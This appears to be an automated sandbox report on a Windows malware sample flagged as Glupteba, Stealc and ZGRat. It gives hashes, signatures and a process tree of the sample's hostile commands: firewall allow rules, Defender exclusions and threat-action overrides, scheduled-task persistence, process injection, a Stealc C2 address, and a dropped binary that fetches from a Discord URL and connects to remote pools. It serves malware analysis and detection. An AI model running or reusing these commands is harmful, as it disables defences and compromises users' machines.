glupteba | 37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4

Analysis

max time kernel
14s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
06-05-2024 22:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe
Size

3.4MB
MD5

886e5d7f4e35c0bb6164dc74bf5e371b
SHA1

009dd91c1ecfa4c39374437f7415871144aaa88b
SHA256

37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4
SHA512

b0518c38397749e249e716634541fb9901961ae78734711ef7d7a6446aba4e3d60d073f03532e6aa32f2320a5c30e817647b7aa077b5978b0f0d407375e89994
SSDEEP

49152:eg6HD4YPpoVBQQAbNwmW6Vvfw5ADqfzgF4Cdypovv:0VBFsGvkAF3

Score

10^/10

glupteba stealc zgrat dropper evasion execution loader rat stealer themida upx

Malware Config

Extracted

Family

stealc

http://185.172.128.150

Attributes

url_path
/c698e1bc8a2f5e6d.php

Signatures

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral2/memory/4212-4699-0x000001D92A280000-0x000001D92DAB4000-memory.dmp	family_zgrat_v1
behavioral2/memory/4212-4704-0x000001D947FE0000-0x000001D948004000-memory.dmp	family_zgrat_v1
behavioral2/memory/4212-4700-0x000001D9482A0000-0x000001D9483AA000-memory.dmp	family_zgrat_v1

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 10 IoCs

resource	yara_rule
behavioral2/memory/3120-1166-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/3288-1184-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/2432-1189-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/1856-4582-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/1856-4585-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/1856-4592-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/1856-4599-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/1856-4634-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/1856-4694-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba
behavioral2/memory/1856-4731-0x0000000000400000-0x0000000001DF3000-memory.dmp	family_glupteba

Stealc
Stealc is an infostealer written in C++.
stealer stealc
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Command and Scripting Interpreter: PowerShell 1 TTPs 28 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1588	powershell.exe
4876	powershell.exe
1444	powershell.exe
3884	powershell.exe
3364	powershell.exe
4952	powershell.exe
512	powershell.exe
1128	powershell.exe
308	powershell.exe
3916	powershell.exe
4216	powershell.exe
3484	powershell.exe
2028	powershell.exe
2268	powershell.exe
2096	powershell.exe
3240	powershell.exe
4392	powershell.exe
4404	powershell.exe
1448	powershell.exe
1976	powershell.exe
1232	powershell.exe
1340	powershell.exe
1420	powershell.exe
4952	powershell.exe
3676	powershell.exe
4136	powershell.EXE
2456	powershell.exe
2476	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2464	netsh.exe
1288	netsh.exe
3776	netsh.exe
2480	netsh.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rOVHRxa4ZA7rRC9jL2TY2RVW.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zHiT0YuFs6baeu4ofGI8stEp.bat	AddInProcess32.exe

Executes dropped EXE 1 IoCs

pid	Process
3120	cAPKFINzv3sdbVjePxmLto57.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000800000001abff-4642.dat	themida
behavioral2/memory/3568-4643-0x0000000140000000-0x0000000140862000-memory.dmp	themida
behavioral2/memory/3568-4662-0x0000000140000000-0x0000000140862000-memory.dmp	themida

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4536-4577-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/4536-4581-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/4356-4580-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000900000001abde-4578.dat	upx
behavioral2/files/0x000900000001abde-4575.dat	upx
behavioral2/memory/4356-4586-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/4356-4600-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x0007000000015204-5014.dat	upx
behavioral2/files/0x000400000001524e-5261.dat	upx
behavioral2/files/0x000400000001524f-5506.dat	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
8	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
63	api.myip.com
64	api.myip.com
65	ipinfo.io
66	ipinfo.io

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 404 set thread context of 3248	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	78

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4112	sc.exe

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2508	schtasks.exe
1152	schtasks.exe
4728	schtasks.exe
672	schtasks.exe
4656	schtasks.exe
4968	schtasks.exe
1764	schtasks.exe
1236	schtasks.exe
4940	schtasks.exe
4348	schtasks.exe
3124	schtasks.exe
3684	schtasks.exe

GoLang User-Agent 3 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	89	Go-http-client/1.1
HTTP User-Agent header	90	Go-http-client/1.1
HTTP User-Agent header	95	Go-http-client/1.1

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3248	AddInProcess32.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 404 wrote to memory of 4648	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	76
PID 404 wrote to memory of 4648	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	76
PID 404 wrote to memory of 4648	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	76
PID 404 wrote to memory of 1904	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	77
PID 404 wrote to memory of 1904	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	77
PID 404 wrote to memory of 1904	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	77
PID 404 wrote to memory of 3248	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	78
PID 404 wrote to memory of 3248	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	78
PID 404 wrote to memory of 3248	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	78
PID 404 wrote to memory of 3248	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	78
PID 404 wrote to memory of 3248	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	78
PID 404 wrote to memory of 3248	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	78
PID 404 wrote to memory of 3248	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	78
PID 404 wrote to memory of 3248	404	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	78
PID 3248 wrote to memory of 3120	3248	AddInProcess32.exe	79
PID 3248 wrote to memory of 3120	3248	AddInProcess32.exe	79
PID 3248 wrote to memory of 3120	3248	AddInProcess32.exe	79

C:\Users\Admin\AppData\Local\Temp\37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe
"C:\Users\Admin\AppData\Local\Temp\37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:404
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
  2⤵
  PID:4648
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
  2⤵
  PID:1904
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
  2⤵
  - Drops startup file
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Users\Admin\Pictures\cAPKFINzv3sdbVjePxmLto57.exe
    "C:\Users\Admin\Pictures\cAPKFINzv3sdbVjePxmLto57.exe"
    3⤵
    - Executes dropped EXE
    PID:3120
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3364
  - - C:\Users\Admin\Pictures\cAPKFINzv3sdbVjePxmLto57.exe
      "C:\Users\Admin\Pictures\cAPKFINzv3sdbVjePxmLto57.exe"
      4⤵
      PID:3276
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:512
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:4088
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2464
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1976
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1128
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:1856
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3916
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:1152
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:1656
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1444
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2096
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:1624
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:4728
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        
        PID:4536
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:1168
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:4112
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1340
      - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
        6⤵
        
        PID:3192
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3240
      - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
        6⤵
        
        PID:4936
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3884
      - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
        6⤵
        
        PID:2592
- - C:\Users\Admin\Pictures\xCcG9U5FLZ3M469K5Dv14TB5.exe
    "C:\Users\Admin\Pictures\xCcG9U5FLZ3M469K5Dv14TB5.exe"
    3⤵
    PID:3288
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4952
  - - C:\Users\Admin\Pictures\xCcG9U5FLZ3M469K5Dv14TB5.exe
      "C:\Users\Admin\Pictures\xCcG9U5FLZ3M469K5Dv14TB5.exe"
      4⤵
      PID:3676
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4216
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1932
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1288
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2028
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1588
- - C:\Users\Admin\Pictures\PBeVx3B0Sdwu9QxzSnD3WU81.exe
    "C:\Users\Admin\Pictures\PBeVx3B0Sdwu9QxzSnD3WU81.exe"
    3⤵
    PID:2432
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4392
  - - C:\Users\Admin\Pictures\PBeVx3B0Sdwu9QxzSnD3WU81.exe
      "C:\Users\Admin\Pictures\PBeVx3B0Sdwu9QxzSnD3WU81.exe"
      4⤵
      PID:696
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3484
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:4656
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:3776
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:308
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4876
- - C:\Users\Admin\Pictures\65XtKrHKb6c1yE1pzP4Vh2nQ.exe
    "C:\Users\Admin\Pictures\65XtKrHKb6c1yE1pzP4Vh2nQ.exe"
    3⤵
    PID:5056
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4404
  - - C:\Users\Admin\Pictures\65XtKrHKb6c1yE1pzP4Vh2nQ.exe
      "C:\Users\Admin\Pictures\65XtKrHKb6c1yE1pzP4Vh2nQ.exe"
      4⤵
      PID:68
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1448
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:2484
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2480
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2268
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1232
- - C:\Users\Admin\Pictures\ejz1fFdkG4fgdghqUMnX5yrF.exe
    "C:\Users\Admin\Pictures\ejz1fFdkG4fgdghqUMnX5yrF.exe"
    3⤵
    PID:4124
  - - C:\Users\Admin\AppData\Local\Temp\u36k.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u36k.0.exe"
      4⤵
      PID:4324
  - - C:\Users\Admin\AppData\Local\Temp\u36k.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u36k.1.exe"
      4⤵
      PID:4932
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        
        PID:4212
- - C:\Users\Admin\Pictures\nauc88KCL6XcMs5jzpd6OFF7.exe
    "C:\Users\Admin\Pictures\nauc88KCL6XcMs5jzpd6OFF7.exe"
    3⤵
    PID:3568
- - C:\Users\Admin\Pictures\8jXAy5pkyTT1PWg3TZhPTbGD.exe
    "C:\Users\Admin\Pictures\8jXAy5pkyTT1PWg3TZhPTbGD.exe"
    3⤵
    PID:3408
  - - C:\Users\Admin\AppData\Local\Temp\7zS1C4E.tmp\Install.exe
      .\Install.exe /ThYFdiduvbI "385118" /S
      4⤵
      PID:1852
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:4928
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:4652
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:4944
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:4788
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:3356
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:3888
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:676
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:4876
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:996
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:2104
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:1352
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:3068
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:4332
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:2600
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:2476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1420
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:4284
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:1964
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:420
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4952
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:4484
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 22:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS1C4E.tmp\Install.exe\" it /qxhdidRCtK 385118 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:672
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        5⤵
        
        PID:996
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        6⤵
        
        PID:3068
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        7⤵
        
        PID:4924

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:4356

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3320

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:3012

C:\Users\Admin\AppData\Local\Temp\7zS1C4E.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS1C4E.tmp\Install.exe it /qxhdidRCtK 385118 /S
1⤵
PID:5072
- C:\Windows\SysWOW64\cmd.exe
